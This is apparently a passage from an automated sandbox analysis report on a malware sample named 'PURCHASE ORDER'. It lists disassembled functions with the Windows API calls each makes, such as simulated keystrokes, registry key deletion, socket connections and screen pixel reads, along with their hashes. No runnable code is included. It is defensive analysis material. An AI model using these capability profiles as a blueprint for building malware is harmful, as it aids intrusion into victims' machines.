                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: AddressProc$Library$FreeLoad
                                                                          • String ID:
                                                                          • API String ID: 2449869053-0
                                                                          • Opcode ID: fa0419033c450d646a7a4ef883371915f5dff59722895d189eba4af2447b2958
                                                                          • Instruction ID: 5a5949aabc30296464acd143044f95cbdcafad8a77d2d24e7d672d776762960f
                                                                          • Opcode Fuzzy Hash: fa0419033c450d646a7a4ef883371915f5dff59722895d189eba4af2447b2958
                                                                          • Instruction Fuzzy Hash: 9051C1752043409FC300EF25C881A5BB7A4FF89305F00456EF945A73A2DB79EE45CBAA
                                                                          Function 0044C379 Relevance: 7.6, APIs: 5, Instructions: 137windowkeyboardCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetKeyboardState.USER32(?,?,00000001,00000001,?,00000000), ref: 0044C3DA
                                                                          • SetKeyboardState.USER32(00000080), ref: 0044C3ED
                                                                          • PostMessageW.USER32(00000000,00000105,?,?), ref: 0044C441
                                                                          • PostMessageW.USER32(00000000,00000101,?,?), ref: 0044C465
                                                                          • SendInput.USER32 ref: 0044C509
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: KeyboardMessagePostState$InputSend
                                                                          • String ID:
                                                                          • API String ID: 3031425849-0
                                                                          • Opcode ID: b49b686b41cf8e4dc8898cf8a112ca1a8544ab09a95107e5a7613c5accf95fc9
                                                                          • Instruction ID: f46f63d78903415e516a46676784f6fcea1caa301ceb581e17347d916cd8316d
                                                                          • Opcode Fuzzy Hash: b49b686b41cf8e4dc8898cf8a112ca1a8544ab09a95107e5a7613c5accf95fc9
                                                                          • Instruction Fuzzy Hash: DB413B715462446FF760AB24D944BBFBB94AF99324F04061FF9D4122C2D37D9908C77A
                                                                          Function 004422B9 Relevance: 7.6, APIs: 5, Instructions: 108registryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • RegEnumKeyExW.ADVAPI32 ref: 004422F0
                                                                          • RegOpenKeyExW.ADVAPI32(?,00000000,00000000,?,?), ref: 0044232B
                                                                          • RegCloseKey.ADVAPI32(00000000), ref: 0044234E
                                                                          • RegDeleteKeyW.ADVAPI32(?,?), ref: 00442390
                                                                          • RegEnumKeyExW.ADVAPI32(?,00000000), ref: 004423C0
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Enum$CloseDeleteOpen
                                                                          • String ID:
                                                                          • API String ID: 2095303065-0
                                                                          • Opcode ID: 367b6e42355be36f427f5e4c5f923650598af64a8eac08207e4f2af605b886a1
                                                                          • Instruction ID: 24d8057b763805d248a02a33893b377b1579bd56aab3fff97e90bb3d062a49ad
                                                                          • Opcode Fuzzy Hash: 367b6e42355be36f427f5e4c5f923650598af64a8eac08207e4f2af605b886a1
                                                                          • Instruction Fuzzy Hash: 0C3150721043056EE210DF94DD84FBF73ECEBC9314F44492EBA9596141D7B8E9098B6A
                                                                          Function 0045C277 Relevance: 7.6, APIs: 5, Instructions: 105COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetPrivateProfileSectionW.KERNEL32(00000000,?,?,00007FFF), ref: 0045C2F4
                                                                          • GetPrivateProfileSectionW.KERNEL32(00000000,00000003,?,00000003), ref: 0045C31B
                                                                          • WritePrivateProfileSectionW.KERNEL32(00000000,00000003,?), ref: 0045C363
                                                                          • WritePrivateProfileStringW.KERNEL32(00000000,?,00000000,00000000), ref: 0045C385
                                                                          • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 0045C392
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: PrivateProfile$SectionWrite$String
                                                                          • String ID:
                                                                          • API String ID: 2832842796-0
                                                                          • Opcode ID: c76cc1094b5fb1fc43fcb7877a7661b5ae667b5fa7796de5023eb6f45200691f
                                                                          • Instruction ID: eb365ed5c03c4bb3a44f9ddbc5128f2f56e5f8affd5b6ace934fe40af23b551f
                                                                          • Opcode Fuzzy Hash: c76cc1094b5fb1fc43fcb7877a7661b5ae667b5fa7796de5023eb6f45200691f
                                                                          • Instruction Fuzzy Hash: 00318675240305ABD610DFA1DC85F9BB3A8AF84705F00891DF94497292D7B9E889CB94
                                                                          Function 0044796B Relevance: 7.6, APIs: 5, Instructions: 96COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetClientRect.USER32(?,?), ref: 00447997
                                                                          • GetCursorPos.USER32(?), ref: 004479A2
                                                                          • ScreenToClient.USER32(?,?), ref: 004479BE
                                                                          • WindowFromPoint.USER32(?,?), ref: 004479FF
                                                                          • DefDlgProcW.USER32(?,00000020,?,?), ref: 00447A78
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Client$CursorFromPointProcRectScreenWindow
                                                                          • String ID:
                                                                          • API String ID: 1822080540-0
                                                                          • Opcode ID: c356f0f93048ebf3c0a873f2be17aa192b5fb9472fb724aa4a6a449873fe30ba
                                                                          • Instruction ID: e9c1e18ea4fcc9a2ad4b32cd349e8b57ec7287094a91df3c43d19f1875151664
                                                                          • Opcode Fuzzy Hash: c356f0f93048ebf3c0a873f2be17aa192b5fb9472fb724aa4a6a449873fe30ba
                                                                          • Instruction Fuzzy Hash: DE3188742082029BD710CF19D88596FB7A9EBC8714F144A1EF88097291D778EA57CBAA
                                                                          Function 00447BAF Relevance: 7.6, APIs: 5, Instructions: 95COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetWindowRect.USER32(?,?), ref: 00447C1B
                                                                          • ScreenToClient.USER32(?,?), ref: 00447C39
                                                                          • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00447C4C
                                                                          • Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00447C93
                                                                          • EndPaint.USER32(?,?), ref: 00447CD1
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: ClientPaintRectRectangleScreenViewportWindow
                                                                          • String ID:
                                                                          • API String ID: 659298297-0
                                                                          • Opcode ID: a6d698a2242c6caf7091173c4181dadfabb51550506680b35635a03376f271bc
                                                                          • Instruction ID: 653bb342b0117225c29b14224c0e663a7b864e912777eddc33bb147bcfad3e12
                                                                          • Opcode Fuzzy Hash: a6d698a2242c6caf7091173c4181dadfabb51550506680b35635a03376f271bc
                                                                          • Instruction Fuzzy Hash: 8A3150706043019FE320CF15D9C8F7B7BE8EB89724F044A6EF994873A1D774A8468B69
                                                                          Function 00447870 Relevance: 7.6, APIs: 5, Instructions: 94windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetCursorPos.USER32(?), ref: 004478A7
                                                                          • TrackPopupMenuEx.USER32(00000000,00000000,?,?,?,00000000), ref: 004478C3
                                                                          • DefDlgProcW.USER32(?,0000007B,?,?,004A83D8,?,004A83D8,?), ref: 004478E7
                                                                          • GetCursorPos.USER32(?), ref: 00447935
                                                                          • TrackPopupMenuEx.USER32(00000000,00000000,?,?,?,00000000), ref: 0044795B
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CursorMenuPopupTrack$Proc
                                                                          • String ID:
                                                                          • API String ID: 1300944170-0
                                                                          • Opcode ID: 00aabaf84d80e4f8c92fc7d2a6c816b999107077810d41e1d32a7af9c3da8c6b
                                                                          • Instruction ID: 600148c7f6f0e64f7aba5c2d0a58757112576a5c49d56a392ea253be37485a5b
                                                                          • Opcode Fuzzy Hash: 00aabaf84d80e4f8c92fc7d2a6c816b999107077810d41e1d32a7af9c3da8c6b
                                                                          • Instruction Fuzzy Hash: 2B31E475244204ABE214DB48DC48FABB7A5FBC9711F14491EF64483390D7B96C4BC779
                                                                          Function 00448837 Relevance: 7.6, APIs: 5, Instructions: 89COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                                                                          • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                                                                          • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                                                                          • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                                                                          • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                                                                            • Part of subcall function 004413F0: SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 0044140E
                                                                            • Part of subcall function 004413F0: GetWindowLongW.USER32(?,000000F0), ref: 00441452
                                                                            • Part of subcall function 004413F0: GetWindowLongW.USER32(?,000000F0), ref: 00441493
                                                                            • Part of subcall function 004413F0: SendMessageW.USER32(00A31A70,000000F1,00000000,00000000), ref: 004414C6
                                                                            • Part of subcall function 004413F0: SendMessageW.USER32(00A31A70,000000F1,00000001,00000000), ref: 004414F1
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Window$EnableMessageSend$LongShow
                                                                          • String ID:
                                                                          • API String ID: 142311417-0
                                                                          • Opcode ID: 63a7105258867651d9446b65671e60b54e1f680e017c4d0f27b0fbeeb6060130
                                                                          • Instruction ID: 53ead31d82dc60d0a1ec6489c26700cf05fac79e8a5bf65a12bf69c5108a1aee
                                                                          • Opcode Fuzzy Hash: 63a7105258867651d9446b65671e60b54e1f680e017c4d0f27b0fbeeb6060130
                                                                          • Instruction Fuzzy Hash: 942105B07053809BF7148E28C8C47AFB7D0FB95345F08482EF981A6391DBAC9845C72E
                                                                          Function 00449549 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _memset.LIBCMT ref: 0044955A
                                                                            • Part of subcall function 00433A98: _wcspbrk.LIBCMT ref: 00433AAC
                                                                          • SendMessageW.USER32(?,00001060,00000000,00000004), ref: 004495B3
                                                                          • _wcslen.LIBCMT ref: 004495C1
                                                                          • _wcslen.LIBCMT ref: 004495CE
                                                                          • SendMessageW.USER32(?,00001060,00000000,?), ref: 004495FF
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend_wcslen$_memset_wcspbrk
                                                                          • String ID:
                                                                          • API String ID: 1843234404-0
                                                                          • Opcode ID: b21334e59b332bdcefcacb45badc01962a29afe58654cc2f886ab9dc01dd4065
                                                                          • Instruction ID: 2eba0e6ca7bf2f01d6f4dc0284c8cedbdf4c7ea0b5caad0642d64795040b3bc6
                                                                          • Opcode Fuzzy Hash: b21334e59b332bdcefcacb45badc01962a29afe58654cc2f886ab9dc01dd4065
                                                                          • Instruction Fuzzy Hash: 1821F87260430556E630EB15AC81BFBB3D8EBD0761F10483FEE4081280E67E9959D3AA
                                                                          Function 00455014 Relevance: 7.6, APIs: 5, Instructions: 78COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 43986f9d4d7e017d9aea9f4dce7e52c9963f71054abe4abd36fa420e2ae722de
                                                                          • Instruction ID: 4734ce3ce40af5b77ad59fd8baedf6a3e56741e39cc50bb30d89ac3ca2d3bd52
                                                                          • Opcode Fuzzy Hash: 43986f9d4d7e017d9aea9f4dce7e52c9963f71054abe4abd36fa420e2ae722de
                                                                          • Instruction Fuzzy Hash: 1321E0712006409BCB10EF29D994D6B73A8EF45321B40466EFE5597382DB34EC08CBA9
                                                                          Function 00445719 Relevance: 7.6, APIs: 5, Instructions: 76windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • IsWindowVisible.USER32(?), ref: 00445721
                                                                          • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 0044573C
                                                                          • SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00445773
                                                                          • _wcslen.LIBCMT ref: 004457A3
                                                                          • CharUpperBuffW.USER32(00000000,00000000), ref: 004457AD
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen
                                                                          • String ID:
                                                                          • API String ID: 3087257052-0
                                                                          • Opcode ID: 453d8cf2d53bd446159bbb0baa073021fe1e74c256db72c881888fb31e2a567b
                                                                          • Instruction ID: 00e09c3d40749c53521e9302b0eb92bb7bfe2d7d521d01ead8474e6f611d5aec
                                                                          • Opcode Fuzzy Hash: 453d8cf2d53bd446159bbb0baa073021fe1e74c256db72c881888fb31e2a567b
                                                                          • Instruction Fuzzy Hash: FA11E972601741BBF7105B35DC46F5B77CDAF65320F04443AF40AE6281FB69E84583AA
                                                                          Function 00459DCF Relevance: 7.6, APIs: 5, Instructions: 71COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • IsWindow.USER32(00000000), ref: 00459DEF
                                                                          • GetForegroundWindow.USER32 ref: 00459E07
                                                                          • GetDC.USER32(00000000), ref: 00459E44
                                                                          • GetPixel.GDI32(00000000,?,00000000), ref: 00459E4F
                                                                          • ReleaseDC.USER32(00000000,00000000), ref: 00459E8B
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Window$ForegroundPixelRelease
                                                                          • String ID:
                                                                          • API String ID: 4156661090-0
                                                                          • Opcode ID: c25ec76bf159445cc401153d518622b926736981535c7bd42fe0b2b106eefd61
                                                                          • Instruction ID: f25aa70a507d7fb142791e963b89e5313ab4350e7ab13503248c443e15a863bf
                                                                          • Opcode Fuzzy Hash: c25ec76bf159445cc401153d518622b926736981535c7bd42fe0b2b106eefd61
                                                                          • Instruction Fuzzy Hash: 76219D76600202ABD700EFA5CD49A5AB7E9FF84315F19483DF90597642DB78FC04CBA9
                                                                          Function 00464950 Relevance: 7.6, APIs: 5, Instructions: 68networkCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 004647A2: inet_addr.WSOCK32(?), ref: 004647C7
                                                                          • socket.WSOCK32(00000002,00000001,00000006,00000000), ref: 00464985
                                                                          • WSAGetLastError.WSOCK32(00000000,00000002,00000001,00000006,00000000), ref: 00464993
                                                                          • connect.WSOCK32(00000000,00000000,00000010,00000002,00000001,00000006,00000000), ref: 004649CD
                                                                          • WSAGetLastError.WSOCK32(00000000,00000000,00000000,00000010,00000002,00000001,00000006,00000000), ref: 004649F4
                                                                          • closesocket.WSOCK32(00000000,00000000,00000000,00000000,00000000,00000010,00000002,00000001,00000006,00000000), ref: 00464A07
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: ErrorLast$closesocketconnectinet_addrsocket
                                                                          • String ID:
                                                                          • API String ID: 245547762-0
                                                                          • Opcode ID: aaa03f654d2c2080970664bbc2635e6406c59b0d093f7dcd590a1c65d79e0220
                                                                          • Instruction ID: b27d5ee258410aac5bd3077dd9c53ce90635b59006b610d0ec7ee295a05cd03d
                                                                          • Opcode Fuzzy Hash: aaa03f654d2c2080970664bbc2635e6406c59b0d093f7dcd590a1c65d79e0220
                                                                          • Instruction Fuzzy Hash: 3211DA712002109BD310FB2AC842F9BB3D8AF85728F04895FF594A72D2D7B9A885875A
                                                                          Function 0044710F Relevance: 7.6, APIs: 5, Instructions: 67COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • DeleteObject.GDI32(00000000), ref: 00447151
                                                                          • ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                          • SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                          • BeginPath.GDI32(?), ref: 004471B7
                                                                          • SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Object$Select$BeginCreateDeletePath
                                                                          • String ID:
                                                                          • API String ID: 2338827641-0
                                                                          • Opcode ID: f19e52de08adcd67550c2e9faff4417be3cdd69e9125f029607893bae639c511
                                                                          • Instruction ID: ab30216038401830d00444c504d41f25dcbf82a6e2307e0a418987ed8484b610
                                                                          • Opcode Fuzzy Hash: f19e52de08adcd67550c2e9faff4417be3cdd69e9125f029607893bae639c511
                                                                          • Instruction Fuzzy Hash: 7E2171B18083019FD320CF29AD44A1B7FACF74A724F14052FF654933A1EB789849CB69
                                                                          Function 0043770A Relevance: 7.6, APIs: 5, Instructions: 56sleepCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • Sleep.KERNEL32(00000000,00000000,?,?,?,?,004448B6,0000000F,?), ref: 0043771E
                                                                          • QueryPerformanceCounter.KERNEL32(?,?,00000000,?,?,?,?,004448B6,0000000F,?), ref: 0043773C
                                                                          • Sleep.KERNEL32(00000000,?,?,?,?,004448B6,0000000F,?), ref: 0043775C
                                                                          • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,004448B6,0000000F,?), ref: 00437767
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CounterPerformanceQuerySleep
                                                                          • String ID:
                                                                          • API String ID: 2875609808-0
                                                                          • Opcode ID: 901ea73111326f2a8af3d8a1217edfde6b6dff748f8bb26d3b0ac17b2ce0a9c5
                                                                          • Instruction ID: fd8a8a83491f03de43ea78fbc63302b75a2fa5438857304713168bbc83ca9150
                                                                          • Opcode Fuzzy Hash: 901ea73111326f2a8af3d8a1217edfde6b6dff748f8bb26d3b0ac17b2ce0a9c5
                                                                          • Instruction Fuzzy Hash: EA11A3B64093119BC210EF1ADA88A8FB7F4FFD8765F004D2EF9C462250DB34D5598B9A
                                                                          Function 0046FCC6 Relevance: 7.5, APIs: 5, Instructions: 49windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32 ref: 0046FD00
                                                                          • SendMessageW.USER32(?,0000104C,00000000,?), ref: 0046FD2E
                                                                          • SendMessageW.USER32(?,00001015,?,?), ref: 0046FD4B
                                                                          • DestroyIcon.USER32(?), ref: 0046FD58
                                                                          • DestroyIcon.USER32(?), ref: 0046FD5F
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
